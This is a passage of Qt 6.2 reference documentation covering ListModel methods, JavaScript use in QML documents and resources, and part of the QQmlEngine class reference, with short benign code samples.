 The dynamicRoles property must be set before any data is added to the [ListModel](qml-qtqml-models-listmodel), and must be set from the main thread.

 A [ListModel](qml-qtqml-models-listmodel) that has data statically defined (via the [ListElement](qml-qtqml-models-listelement) QML syntax) cannot have the dynamicRoles property enabled.

 There is a significant performance cost to using a [ListModel](qml-qtqml-models-listmodel) with dynamic roles enabled. The cost varies from platform to platform but is typically somewhere between 4-6x slower than using static role types.

 Due to the performance cost of using dynamic roles, they are disabled by default.

 Method Documentation
--------------------

 ###  append(jsobject *dict*)

 Adds a new item to the end of the list model, with the values in *dict*.

 
```
fruitModel.append({"cost": 5.95, "name":"Pizza"})
```
 **See also** [set](qml-qtqml-models-listmodel#set-method)() and [remove](qml-qtqml-models-listmodel#remove-method)().

 ###  clear()

 Deletes all content from the model.

 **See also** [append](qml-qtqml-models-listmodel#append-method)() and [remove](qml-qtqml-models-listmodel#remove-method)().

 ###  object get([int](qml-int) *index*)

 Returns the item at *index* in the list model. This allows the item data to be accessed or modified from JavaScript:

 
```
Component.onCompleted: {
    fruitModel.append({"cost": 5.95, "name":"Jackfruit"});
    console.log(fruitModel.get(0).cost);
    fruitModel.get(0).cost = 10.95;
}
```
 The *index* must be an element in the list.

 Note that properties of the returned object that are themselves objects will also be models, and this get() method is used to access elements:

 
```
fruitModel.append(..., "attributes":
    [{"name":"spikes","value":"7mm"},
     {"name":"color","value":"green"}]);
fruitModel.get(0).attributes.get(1).value; // == "green"
```
  **Warning:** The returned object is not guaranteed to remain valid. It should not be used in [property bindings](qtqml-syntax-propertybinding).

  **See also** [append](qml-qtqml-models-listmodel#append-method)().

 ###  insert([int](qml-int) *index*, jsobject *dict*)

 Adds a new item to the list model at position *index*, with the values in *dict*.

 
```
fruitModel.insert(2, {"cost": 5.95, "name":"Pizza"})
```
 The *index* must be to an existing item in the list, or one past the end of the list (equivalent to append).

 **See also** [set](qml-qtqml-models-listmodel#set-method)() and [append](qml-qtqml-models-listmodel#append-method)().

 ###  move([int](qml-int) *from*, [int](qml-int) *to*, [int](qml-int) *n*)

 Moves *n* items *from* one position *to* another.

 The from and to ranges must exist; for example, to move the first 3 items to the end of the list:

 
```
fruitModel.move(0, fruitModel.count - 3, 3)
```
 **See also** [append](qml-qtqml-models-listmodel#append-method)().

 ###  remove([int](qml-int) *index*, [int](qml-int) *count* = 1)

 Deletes *count* number of items at *index* from the model.

 **See also** [clear](qml-qtqml-models-listmodel#clear-method)().

 ###  set([int](qml-int) *index*, jsobject *dict*)

 Changes the item at *index* in the list model with the values in *dict*. Properties not appearing in *dict* are left unchanged.

 
```
fruitModel.set(3, {"cost": 5.95, "name":"Pizza"})
```
 If *index* is equal to count() then a new item is appended to the list. Otherwise, *index* must be an element in the list.

 **See also** [append](qml-qtqml-models-listmodel#append-method)().

 ###  setProperty([int](qml-int) *index*, [string](qml-string) *property*, variant *value*)

 Changes the *property* of the item at *index* in the list model to *value*.

 
```
fruitModel.setProperty(3, "cost", 5.95)
```
 The *index* must be an element in the list.

 **See also** [append](qml-qtqml-models-listmodel#append-method)().

 ###  sync()

 Writes any unsaved changes to the list model after it has been modified from a worker script.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-models-listmodel.html>

JavaScript Expressions in QML Documents
=======================================

 The [JavaScript Host Environment](qtqml-javascript-hostenvironment) provided by QML can run valid standard JavaScript constructs such as conditional operators, arrays, variable setting, and loops. In addition to the standard JavaScript properties, the [QML Global Object](qtqml-javascript-qmlglobalobject) includes a number of helper methods that simplify building UIs and interacting with the QML environment.

 The JavaScript environment provided by QML is stricter than that in a web browser. For example, in QML you cannot add to, or modify, members of the JavaScript global object. In regular JavaScript, it is possible to do this accidentally by using a variable without declaring it. In QML this will throw an exception, so all local variables must be explicitly declared. See [JavaScript Environment Restrictions](qtqml-javascript-hostenvironment#javascript-environment-restrictions) for a complete description of the restrictions on JavaScript code executed from QML.

 Various parts of [QML documents](https://doc.qt.io/qt-6.2/qtqml-documents-topic.html) can contain JavaScript code:

 1. The body of [property bindings](qtqml-syntax-propertybinding). These JavaScript expressions describe relationships between QML object [properties](qtqml-syntax-objectattributes#property-attributes). When *dependencies* of a property change, the property is automatically updated too, according to the specified relationship.
2. The body of [Signal handlers](qtqml-syntax-objectattributes#signal-attributes). These JavaScript statements are automatically evaluated whenever a QML object emits the associated signal.
3. The definition of [custom methods](qtqml-syntax-objectattributes#method-attributes). JavaScript functions that are defined within the body of a QML object become methods of that object.
4. Standalone [JavaScript resource (.js) files](qtqml-javascript-imports). These files are actually separate from QML documents, but they can be imported into QML documents. Functions and variables that are defined within the imported files can be used in property bindings, signal handlers, and custom methods.

 JavaScript in property bindings
-------------------------------

 In the following example, the `color` property of [Rectangle](qml-qtquick-rectangle) depends on the `pressed` property of [TapHandler](qml-qtquick-taphandler). This relationship is described using a conditional expression:

 
```
import QtQuick 2.12

Rectangle {
    id: colorbutton
    width: 200; height: 80;

    color: inputHandler.pressed ? "steelblue" : "lightsteelblue"

    TapHandler {
        id: inputHandler
    }
}
```
 In fact, any JavaScript expression (no matter how complex) may be used in a property binding definition, as long as the result of the expression is a value whose type can be assigned to the property. This includes side effects. However, complex bindings and side effects are discouraged because they can reduce the performance, readability, and maintainability of the code.

 There are two ways to define a property binding: the most common one is shown in the example earlier, in a [property initialization](qtqml-syntax-objectattributes#value-assignment-on-initialization). The second (and much rarer) way is to assign the property a function returned from the [Qt.binding](qml-qtqml-qt#binding-method)() function, from within imperative JavaScript code, as shown below:

 
```
import QtQuick 2.12

Rectangle {
    id: colorbutton
    width: 200; height: 80;

    color: "red"

    TapHandler {
        id: inputHandler
    }

    Component.onCompleted: {
        color = Qt.binding(function() { return inputHandler.pressed ? "steelblue" : "lightsteelblue" });
    }
}
```
 See the [property bindings](qtqml-syntax-propertybinding) documentation for more information about how to define property bindings, and see the documentation about [Property Assignment versus Property Binding](qtqml-syntax-propertybinding#qml-javascript-assignment) for information about how bindings differ from value assignments.

 JavaScript in signal handlers
-----------------------------

 QML object types can emit signals in reaction to certain events occurring. Those signals can be handled by signal handler functions, which can be defined by clients to implement custom program logic.

 Suppose that a button represented by a Rectangle type has a [TapHandler](qml-qtquick-taphandler) and a Text label. The [TapHandler](qml-qtquick-taphandler) emits its [tapped](qml-qtquick-taphandler#tapped-signal) signal when the user presses the button. The clients can react to the signal in the `onTapped` handler using JavaScript expressions. The QML engine executes these JavaScript expressions defined in the handler as required. Typically, a signal handler is bound to JavaScript expressions to initiate other events or to assign property values.

 
```
import QtQuick 2.12

Rectangle {
    id: button
    width: 200; height: 80; color: "lightsteelblue"

    TapHandler {
        id: inputHandler
        onTapped: {
            // arbitrary JavaScript expression
            console.log("Tapped!")
        }
    }

    Text {
        id: label
        anchors.centerIn: parent
        text: inputHandler.pressed ? "Pressed!" : "Press here!"
    }
}
```
 For more details about signals and signal handlers, refer to the following topics:

 * [Signal and Handler Event System](qtqml-syntax-signals)
* [QML Object Attributes](qtqml-syntax-objectattributes)

 JavaScript in standalone functions
----------------------------------

 Program logic can also be defined in JavaScript functions. These functions can be defined inline in QML documents (as custom methods) or externally in imported JavaScript files.

 ### JavaScript in custom methods

 Custom methods can be defined in QML documents and may be called from signal handlers, property bindings, or functions in other QML objects. Such methods are often referred to as *inline JavaScript functions* because their implementation is included in the QML object type definition (QML document), instead of in an external JavaScript file.

 An example of an inline custom method is as follows:

 
```
import QtQuick 2.12

Item {
    function fibonacci(n){
        var arr = [0, 1];
        for (var i = 2; i < n + 1; i++)
            arr.push(arr[i - 2] + arr[i -1]);

        return arr;
    }
    TapHandler {
        onTapped: console.log(fibonacci(10))
    }
}
```
 The fibonacci function is run whenever the [TapHandler](qml-qtquick-taphandler) emits a `tapped` signal.

  **Note:** The custom methods defined inline in a QML document are exposed to other objects, and therefore inline functions on the root object in a QML component can be invoked by callers outside the component. If this is not desired, the method can be added to a non-root object or, preferably, written in an external JavaScript file.

  See the [QML Object Attributes](qtqml-syntax-objectattributes) documentation for more information on defining custom methods in QML using JavaScript.

 ### Functions defined in a JavaScript file

 Non-trivial program logic is best separated into a separate JavaScript file. This file can be imported into QML using an `import` statement, like the QML [modules](https://doc.qt.io/qt-6.2/qtqml-modules-topic.html).

 For example, the `fibonacci()` method in the earlier example could be moved into an external file named `fib.js`, and accessed like this:

 
```
import QtQuick 2.12
import "fib.js" as MathFunctions

Item {
    TapHandler {
        onTapped: console.log(MathFunctions.fibonacci(10))
    }
}
```
 For more information about loading external JavaScript files into QML, read the section about [Importing JavaScript Resources in QML](qtqml-javascript-imports).

 ### Connecting signals to JavaScript functions

 QML object types that emit signals also provide default signal handlers for their signals, as described in the [previous](qtqml-javascript-expressions#javascript-in-signal-handlers) section. Sometimes, however, a client wants to trigger a function defined in a QML object when another QML object emits a signal. Such scenarios can be handled by a signal connection.

 A signal emitted by a QML object may be connected to a JavaScript function by calling the signal's `connect()` method and passing the JavaScript function as an argument. For example, the following code connects the [TapHandler](qml-qtquick-taphandler)'s `tapped` signal to the `jsFunction()` in `script.js`:

 

|  |  |
| --- | --- |
| 
```
import QtQuick 2.12
import "script.js" as MyScript

Item {
    id: item
    width: 200; height: 200

    TapHandler {
        id: inputHandler
    }

    Component.onCompleted: {
        inputHandler.tapped.connect(MyScript.jsFunction)
    }
}
```
 | 
```
// script.js

function jsFunction() {
    console.log("Called JavaScript function!")
}
```
 |

 The `jsFunction()` is called whenever the [TapHandler](qml-qtquick-taphandler)'s `tapped` signal is emitted.

 See [Connecting Signals to Methods and Signals](qtqml-syntax-signals) for more information.

 JavaScript in application startup code
--------------------------------------

 It is occasionally necessary to run some imperative code at application (or component instance) startup. While it is tempting to just include the startup script as *global code* in an external script file, this can have severe limitations as the QML environment may not have been fully established. For example, some objects might not have been created or some [property bindings](qtqml-syntax-propertybinding) may not have been established. See [JavaScript Environment Restrictions](qtqml-javascript-hostenvironment#javascript-environment-restrictions) for the exact limitations of global script code.

 A QML object emits the `Component.completed` [attached signal](qtqml-syntax-signals#attached-signal-handlers) when its instantiation is complete. The JavaScript code in the corresponding `Component.onCompleted` handler runs after the object is instantiated. Thus, the best place to write application startup code is in the `Component.onCompleted` handler of the top-level object, because this object emits `Component.completed` when the QML environment is fully established.

 For example:

 
```
import QtQuick 2.0

Rectangle {
    function startupFunction() {
        // ... startup code
    }

    Component.onCompleted: startupFunction();
}
```
 Any object in a QML file - including nested objects and nested QML component instances - can use this attached property. If there is more than one `onCompleted()` handler to execute at startup, they are run sequentially in an undefined order.

 Likewise, every `Component` emits a [destruction](qml-qtqml-component#destruction-signal)() signal just before being destroyed.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-javascript-expressions.html>

Defining JavaScript Resources in QML
====================================

 The program logic for a QML application may be defined in JavaScript. The JavaScript code may either be defined in-line in QML documents, or separated into JavaScript files (known as `JavaScript Resources` in QML).

 There are two different kinds of JavaScript resources which are supported in QML: code-behind implementation files, and shared (library) files. Both kinds of JavaScript resource may be [imported](qtqml-javascript-imports) by other JavaScript resources, or included in [QML modules](https://doc.qt.io/qt-6.2/qtqml-modules-topic.html).

 Code-Behind Implementation Resource
-----------------------------------

 Most JavaScript files imported into a QML document are stateful implementations for the QML document importing them. In these cases, each instance of the QML object type defined in the document requires a separate copy of the JavaScript objects and state in order to behave correctly.

 The default behavior when importing JavaScript files is to provide a unique, isolated copy for each QML component instance. If that JavaScript file does not import any resources or modules with a `.import` statement, its code will run in the same scope as the QML component instance and consequently can access and manipulate the objects and properties declared in that QML component. Otherwise, it will have its own unique scope, and objects and properties of the QML component should be passed to the functions of the JavaScript file as parameters if they are required.

 An example of a code-behind implementation resource follows:

 
```
// MyButton.qml
import QtQuick 2.0
import "my_button_impl.js" as Logic // A new instance of this JavaScript resource
                                    // is loaded for each instance of Button.qml.

Rectangle {
    id: rect
    width: 200
    height: 100
    color: "red"

    MouseArea {
        id: mousearea
        anchors.fill: parent
        onClicked: Logic.onClicked(rect)
    }
}
```
 
```
// my_button_impl.js
var clickCount = 0;   // this state is separate for each instance of MyButton
function onClicked(button) {
    clickCount += 1;
    if ((clickCount % 5) == 0) {
        button.color = Qt.rgba(1,0,0,1);
    } else {
        button.color = Qt.rgba(0,1,0,1);
    }
}
```
 In general, simple logic should be defined in-line in the QML file, but more complex logic should be separated into code-behind implementation resources for maintainability and readability.

 Shared JavaScript Resources (Libraries)
---------------------------------------

 By default, JavaScript files imported from QML share their context with the QML component. That means the JavaScript files have access to the same QML objects and can modify them. As a consequence, each import must have a unique copy of these files.

 [The previous section](qtqml-javascript-resources#code-behind-implementation-resource) covers stateful imports of JavaScript files. However, some JavaScript files are stateless and act more like reusable libraries, in the sense that they provide a set of helper functions that do not require anything from where they were imported from. You can save significant amounts of memory and speed up the instantiation of QML components if you mark such libraries with a special pragma, as shown in the following example.

 
```
// factorial.js
.pragma library

var factorialCount = 0;

function factorial(a) {
    a = parseInt(a);

    // factorial recursion
    if (a > 0)
        return a * factorial(a - 1);

    // shared state
    factorialCount += 1;

    // recursion base-case.
    return 1;
}

function factorialCallCount() {
    return factorialCount;
}
```
 The pragma declaration must appear before any JavaScript code excluding comments.

 Note that multiple QML documents can import `"factorial.js"` and call the factorial and factorialCallCount functions that it provides. The state of the JavaScript import is shared across the QML documents which import it, and thus the return value of the factorialCallCount function may be non-zero when called within a QML document which never calls the factorial function.

 For example:

 
```
// Calculator.qml
import QtQuick 2.0
import "factorial.js" as FactorialCalculator // This JavaScript resource is only
                                             // ever loaded once by the engine,
                                             // even if multiple instances of
                                             // Calculator.qml are created.

Text {
    width: 500
    height: 100
    property int input: 17
    text: "The factorial of " + input + " is: " + FactorialCalculator.factorial(input)
}
```
 As they are shared, .pragma library files cannot access QML component instance objects or properties directly, although QML values can be passed as function parameters.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-javascript-resources.html>

QQmlEngine Class
================

 The QQmlEngine class provides an environment for instantiating QML components. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QQmlEngine> |
|  CMake: |  find\_package(Qt6 COMPONENTS Qml REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Qml) |
|  qmake: |  QT += qml |
|  Since: |  Qt 5.0 |
|  Inherits: | [QJSEngine](qjsengine) |
|  Inherited By: | [QQmlApplicationEngine](qqmlapplicationengine) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qqmlengine-members.html)

 Properties
----------

 * **[offlineStoragePath](qqmlengine#offlineStoragePath-prop)** : QString

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QQmlEngine](qqmlengine#QQmlEngine)**(QObject \**parent* = nullptr) |
|  virtual  | **[~QQmlEngine](qqmlengine#dtor.QQmlEngine)**() override |
|  void  | **[addImageProvider](qqmlengine#addImageProvider)**(const QString &*providerId*, QQmlImageProviderBase \**provider*) |
|  void  | **[addImportPath](qqmlengine#addImportPath)**(const QString &*path*) |
|  void  | **[addPluginPath](qqmlengine#addPluginPath)**(const QString &*path*) |
|  void  | **[addUrlInterceptor](qqmlengine#addUrlInterceptor)**(QQmlAbstractUrlInterceptor \**urlInterceptor*) |
|  QUrl  | **[baseUrl](qqmlengine#baseUrl)**() const |
|  void  | **[clearComponentCache](qqmlengine#clearComponentCache)**() |
|  QQmlImageProviderBase \* | **[imageProvider](qqmlengine#imageProvider)**(const QString &*providerId*) const |
|  QStringList  | **[importPathList](qqmlengine#importPathList)**() const |
|  bool  | **[importPlugin](qqmlengine#importPlugin)**(const QString &*filePath*, const QString &*uri*, QList<QQmlError> \**errors*) |
|  QQmlIncubationController \* | **[incubationController](qqmlengine#incubationController)**() const |
|  QUrl  | **[interceptUrl](qqmlengine#interceptUrl)**(const QUrl &*url*, QQmlAbstractUrlInterceptor::DataType *type*) const |
|  QNetworkAccessManager \* | **[networkAccessManager](qqmlengine#networkAccessManager)**() const |
|  QQmlNetworkAccessManagerFactory \* | **[networkAccessManagerFactory](qqmlengine#networkAccessManagerFactory)**() const |
|  QString  | **[offlineStorageDatabaseFilePath](qqmlengine#offlineStorageDatabaseFilePath)**(const QString &*databaseName*) const |
|  QString  | **[offlineStoragePath](qqmlengine#offlineStoragePath-prop)**() const |
|  bool  | **[outputWarningsToStandardError](qqmlengine#outputWarningsToStandardError)**() const |
|  QStringList  | **[pluginPathList](qqmlengine#pluginPathList)**() const |
|  void  | **[removeImageProvider](qqmlengine#removeImageProvider)**(const QString &*providerId*) |
|  void  | **[removeUrlInterceptor](qqmlengine#removeUrlInterceptor)**(QQmlAbstractUrlInterceptor \**urlInterceptor*) |
|  QQmlContext \* | **[rootContext](qqmlengine#rootContext)**() const |
|  void  | **[setBaseUrl](qqmlengine#setBaseUrl)**(const QUrl &*url*) |
|  void  | **[setImportPathList](qqmlengine#setImportPathList)**(const QStringList &*paths*) |
|  void  | **[setIncubationController](qqmlengine#setIncubationController)**(QQmlIncubationController \**controller*) |
|  void  | **[setNetworkAccessManagerFactory](qqmlengine#setNetworkAccessManagerFactory)**(QQmlNetworkAccessManagerFactory \**factory*) |
|  void  | **[setOfflineStoragePath](qqmlengine#offlineStoragePath-prop)**(const QString &*dir*) |
|  void  | **[setOutputWarningsToStandardError](qqmlengine#setOutputWarningsToStandardError)**(bool *enabled*) |
|  void  | **[setPluginPathList](qqmlengine#setPluginPathList)**(const QStringList &*paths*) |
|  T  | **[singletonInstance](qqmlengine#singletonInstance)**(int *qmlTypeId*) |
|  void  | **[trimComponentCache](qqmlengine#trimComponentCache)**() |
|  QList<QQmlAbstractUrlInterceptor \*>  | **[urlInterceptors](qqmlengine#urlInterceptors)**() const |

 Public Slots
------------

 

|  |  |
| --- | --- |
|  void  | **[retranslate](qqmlengine#retranslate)**() |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[exit](qqmlengine#exit)**(int *retCode*) |
|  void  | **[quit](qqmlengine#quit)**() |
|  void  | **[warnings](qqmlengine#warnings)**(const QList<QQmlError> &*warnings*) |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QQmlContext \* | **[contextForObject](qqmlengine#contextForObject)**(const QObject \**object*) |
|  void  | **[setContextForObject](qqmlengine#setContextForObject)**(QObject \**object*, QQmlContext \**context*) |

 Reimplemented Protected Functions
---------------------------------

 

|  |  |
| --- | --- |
|  virtual bool  | **[event](qqmlengine#event)**(QEvent \**e*) override |

 Related Non-Members
-------------------

 

|  |  |
| --- | --- |
|  QObject \* | **[qmlAttachedPropertiesObject](qqmlengine#qmlAttachedPropertiesObject)**(const QObject \**attachee*, bool *create* = true) |
|  void  | **[qmlClearTypeRegistrations](qqmlengine#qmlClearTypeRegistrations)**() |
|  QQmlContext \* | **[qmlContext](qqmlengine#qmlContext)**(const QObject \**object*) |
|  QQmlInfo  | **[qmlDebug](qqmlengine#qmlDebug)**(const QObject \**object*) |
|  QQmlEngine \* | **[qmlEngine](qqmlengine#qmlEngine)**(const QObject \**object*) |
|  QQmlInfo  | **[qmlInfo](qqmlengine#qmlInfo)**(const QObject \**object*) |
|  bool  | **[qmlProtectModule](qqmlengine#qmlProtectModule)**(const char \**uri*, int *majVersion*) |
|  int  | **[qmlRegisterAnonymousType](qqmlengine#qmlRegisterAnonymousType)**(const char \**uri*, int *versionMajor*) |
|  int  | **[qmlRegisterExtendedType](qqmlengine#qmlRegisterExtendedType)**(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*) |
|  int  | **[qmlRegisterExtendedUncreatableType](qqmlengine#qmlRegisterExtendedUncreatableType)**(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*, const QString &*reason*) |
|  void  | **[qmlRegisterModule](qqmlengine#qmlRegisterModule)**(const char \**uri*, int *versionMajor*, int *versionMinor*) |
|  int  | **[qmlRegisterRevision](qqmlengine#qmlRegisterRevision)**(const char \**uri*, int *versionMajor*, int *versionMinor*) |
|  int  | **[qmlRegisterSingletonInstance](qqmlengine#qmlRegisterSingletonInstance)**(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**typeName*, QObject \**cppObject*) |
|  int  | **[qmlRegisterSingletonType](qqmlengine#qmlRegisterSingletonType)**(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**typeName*, QJSValue (\*)(QQmlEngine \*, QJSEngine \*) *callback*) |
|  int  | **[qmlRegisterSingletonType](qqmlengine#qmlRegisterSingletonType-1)**(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**typeName*, QObject \*(\*)(QQmlEngine \*, QJSEngine \*) *callback*) |
|  int  | **[qmlRegisterSingletonType](qqmlengine#qmlRegisterSingletonType-2)**(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**typeName*, std::function<QObject \*(QQmlEngine \*, QJSEngine \*)> *callback*) |
|  int  | **[qmlRegisterSingletonType](qqmlengine#qmlRegisterSingletonType-3)**(const QUrl &*url*, const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*) |
|  int  | **[qmlRegisterType](qqmlengine#qmlRegisterType)**(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*) |
|  int  | **[qmlRegisterType](qqmlengine#qmlRegisterType-1)**(const QUrl &*url*, const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*) |
|  int  | **[qmlRegisterTypeNotAvailable](qqmlengine#qmlRegisterTypeNotAvailable)**(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*, const QString &*message*) |
|  int  | **[qmlRegisterUncreatableMetaObject](qqmlengine#qmlRegisterUncreatableMetaObject)**(const QMetaObject &*staticMetaObject*, const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*, const QString &*reason*) |
|  int  | **[qmlRegisterUncreatableType](qqmlengine#qmlRegisterUncreatableType)**(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*, const QString &*message*) |
|  int  | **[qmlTypeId](qqmlengine#qmlTypeId)**(const char \**uri*, int *versionMajor*, int *versionMinor*, const char \**qmlName*) |
|  QQmlInfo  | **[qmlWarning](qqmlengine#qmlWarning)**(const QObject \**object*) |

 Macros
------

 

|  |  |
| --- | --- |
|  | **[QML\_ADDED\_IN\_MINOR\_VERSION](qqmlengine#QML_ADDED_IN_MINOR_VERSION)**(*VERSION*) |
|  | **[QML\_ANONYMOUS](qqmlengine#QML_ANONYMOUS)** |
|  | **[QML\_ATTACHED](qqmlengine#QML_ATTACHED)**(*ATTACHED\_TYPE*) |
|  | **[QML\_DECLARE\_TYPE](qqmlengine#QML_DECLARE_TYPE)** |
|  | **[QML\_DECLARE\_TYPEINFO](qqmlengine#QML_DECLARE_TYPEINFO)**(*Type*, *Flags*) |
|  | **[QML\_ELEMENT](qqmlengine#QML_ELEMENT)** |
|  | **[QML\_EXTENDED](qqmlengine#QML_EXTENDED)**(*EXTENDED\_TYPE*) |
|  | **[QML\_EXTENDED\_NAMESPACE](qqmlengine#QML_EXTENDED_NAMESPACE)**(*EXTENDED\_NAMESPACE*) |
|  | **[QML\_FOREIGN](qqmlengine#QML_FOREIGN)**(*FOREIGN\_TYPE*) |
|  | **[QML\_FOREIGN\_NAMESPACE](qqmlengine#QML_FOREIGN_NAMESPACE)**(*FOREIGN\_NAMESPACE*) |
|  | **[QML\_IMPLEMENTS\_INTERFACES](qqmlengine#QML_IMPLEMENTS_INTERFACES)**(*interfaces*) |
|  | **[QML\_INTERFACE](qqmlengine#QML_INTERFACE)** |
|  | **[QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT)**(*name*) |
|  | **[QML\_REMOVED\_IN\_MINOR\_VERSION](qqmlengine#QML_REMOVED_IN_MINOR_VERSION)**(*VERSION*) |
|  | **[QML\_SINGLETON](qqmlengine#QML_SINGLETON)** |
|  | **[QML\_UNAVAILABLE](qqmlengine#QML_UNAVAILABLE)** |
|  | **[QML\_UNCREATABLE](qqmlengine#QML_UNCREATABLE)**(*reason*) |

 Detailed Description
--------------------

 Each QML component is instantiated in a [QQmlContext](qqmlcontext). [QQmlContext](qqmlcontext)'s are essential for passing data to QML components. In QML, contexts are arranged hierarchically and this hierarchy is managed by the QQmlEngine.

 Prior to creating any QML components, an application must have created a QQmlEngine to gain access to a QML context. The following example shows how to create a simple Text item.

 
```
QQmlEngine engine;
QQmlComponent component(&engine);
component.setData("import QtQuick 2.0\nText { text: \"Hello world!\" }", QUrl());
QQuickItem *item = qobject_cast<QQuickItem *>(component.create());

//add item to view, etc
...
```
 In this case, the Text item will be created in the engine's [root context](qqmlengine#rootContext).

 **See also** [QQmlComponent](qqmlcomponent), [QQmlContext](qqmlcontext), and [QML Global Object](qtqml-javascript-qmlglobalobject).

  Property Documentation
----------------------

 ### 
offlineStoragePath : [QString](qstring)

 This property holds the directory for storing offline user data

 Returns the directory where SQL and other offline storage is placed.

 The SQL databases created with `openDatabaseSync()` are stored here.

 The default is QML/OfflineStorage in the platform-standard user application data directory.

 Note that the path may not currently exist on the filesystem, so callers wanting to *create* new files at this location should create it first - see [QDir::mkpath](qdir#mkpath)().

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **offlineStoragePath**() const |
|  void  | **setOfflineStoragePath**(const QString &*dir*) |

 **See also** l{Qt Quick Local Storage QML Types}.

  Member Function Documentation
-----------------------------

 ### QQmlEngine::QQmlEngine([QObject](qobject#QObject) \**parent* = nullptr)

 Create a new QQmlEngine with the given *parent*.

 ### 
`[signal, since 5.8]` void QQmlEngine::exit(int *retCode*)

 This signal is emitted when the QML loaded by the engine would like to exit from the event loop with the specified return code *retCode*.

 This function was introduced in Qt 5.8.

 **See also** [quit](qqmlengine#quit)().

 ### 
`[signal]` void QQmlEngine::quit()

 This signal is emitted when the QML loaded by the engine would like to quit.

 **See also** [exit](qqmlengine#exit)().

 ### 
`[slot, since 5.10]` void QQmlEngine::retranslate()

 Refreshes all binding expressions that use strings marked for translation.

 Call this function after you have installed a new translator with [QCoreApplication::installTranslator](qcoreapplication#installTranslator), to ensure that your user-interface shows up-to-date translations.

 This function was introduced in Qt 5.10.

 ### 
`[signal]` void QQmlEngine::warnings(const [QList](qlist)<[QQmlError](qqmlerror)> &*warnings*)

 This signal is emitted when *warnings* messages are generated by QML.

 ### 
`[override virtual]` QQmlEngine::~QQmlEngine()

 Destroys the [QQmlEngine](qqmlengine).

 Any [QQmlContext](qqmlcontext)'s created on this engine will be invalidated, but not destroyed (unless they are parented to the [QQmlEngine](qqmlengine) object).

 See [QJSEngine](qjsengine) docs for details on cleaning up the JS engine.

 ### 
void QQmlEngine::addImageProvider(const [QString](qstring) &*providerId*, [QQmlImageProviderBase](qqmlimageproviderbase) \**provider*)

 Sets the *provider* to use for images requested via the *image*: url scheme, with host *providerId*. The [QQmlEngine](qqmlengine) takes ownership of *provider*.

 Image providers enable support for pixmap and threaded image requests. See the [QQuickImageProvider](qquickimageprovider) documentation for details on implementing and using image providers.

 All required image providers should be added to the engine before any QML sources files are loaded.

 **See also** [removeImageProvider](qqmlengine#removeImageProvider)(), [QQuickImageProvider](qquickimageprovider), and [QQmlImageProviderBase](qqmlimageproviderbase).

 ### 
void QQmlEngine::addImportPath(const [QString](qstring) &*path*)

 Adds *path* as a directory where the engine searches for installed modules in a URL-based directory structure.

 The *path* may be a local filesystem directory, a [Qt Resource](resources) path (`:/imports`), a [Qt Resource](resources) url (`qrc:/imports`) or a URL.

 The *path* will be converted into canonical form before it is added to the import path list.

 The newly added *path* will be first in the [importPathList](qqmlengine#importPathList)().

 **See also** [setImportPathList](qqmlengine#setImportPathList)() and [QML Modules](https://doc.qt.io/qt-6.2/qtqml-modules-topic.html).

 ### 
void QQmlEngine::addPluginPath(const [QString](qstring) &*path*)

 Adds *path* as a directory where the engine searches for native plugins for imported modules (referenced in the `qmldir` file).

 By default, the list contains only `.`, i.e. the engine searches in the directory of the `qmldir` file itself.

 The newly added *path* will be first in the [pluginPathList](qqmlengine#pluginPathList)().

 **See also** [setPluginPathList](qqmlengine#setPluginPathList)().

 ### 
void QQmlEngine::addUrlInterceptor([QQmlAbstractUrlInterceptor](qqmlabstracturlinterceptor) \**urlInterceptor*)

 Adds a *urlInterceptor* to be used when resolving URLs in QML. This also applies to URLs used for loading script files and QML types. The URL interceptors should not be modifed while the engine is loading files, or URL selection may be inconsistent. Multiple URL interceptors, when given, will be called in the order they were added for each URL.

 [QQmlEngine](qqmlengine) does not take ownership of the interceptor and won't delete it.

 ### 
[QUrl](qurl) QQmlEngine::baseUrl() const

 Return the base URL for this engine. The base URL is only used to resolve components when a relative URL is passed to the [QQmlComponent](qqmlcomponent) constructor.

 If a base URL has not been explicitly set, this method returns the application's current working directory.

 **See also** [setBaseUrl](qqmlengine#setBaseUrl)().

 ### 
void QQmlEngine::clearComponentCache()

 Clears the engine's internal component cache.

 This function causes the property metadata of all components previously loaded by the engine to be destroyed. All previously loaded components and the property bindings for all extant objects created from those components will cease to function.

 This function returns the engine to a state where it does not contain any loaded component data. This may be useful in order to reload a smaller subset of the previous component set, or to load a new version of a previously loaded component.

 Once the component cache has been cleared, components must be loaded before any new objects can be created.

  **Note:** Any existing objects created from QML components retain their types, even if you clear the component cache. This includes singleton objects. If you create more objects from the same QML code after clearing the cache, the new objects will be of different types than the old ones. Assigning such a new object to a property of its declared type belonging to an object created before clearing the cache won't work.

  As a general rule of thumb, make sure that no objects created from QML components are alive when you clear the component cache.

 **See also** [trimComponentCache](qqmlengine#trimComponentCache)().

 ### 
`[static]` [QQmlContext](qqmlcontext) \*QQmlEngine::contextForObject(const [QObject](qobject#QObject) \**object*)

 Returns the [QQmlContext](qqmlcontext) for the *object*, or 0 if no context has been set.

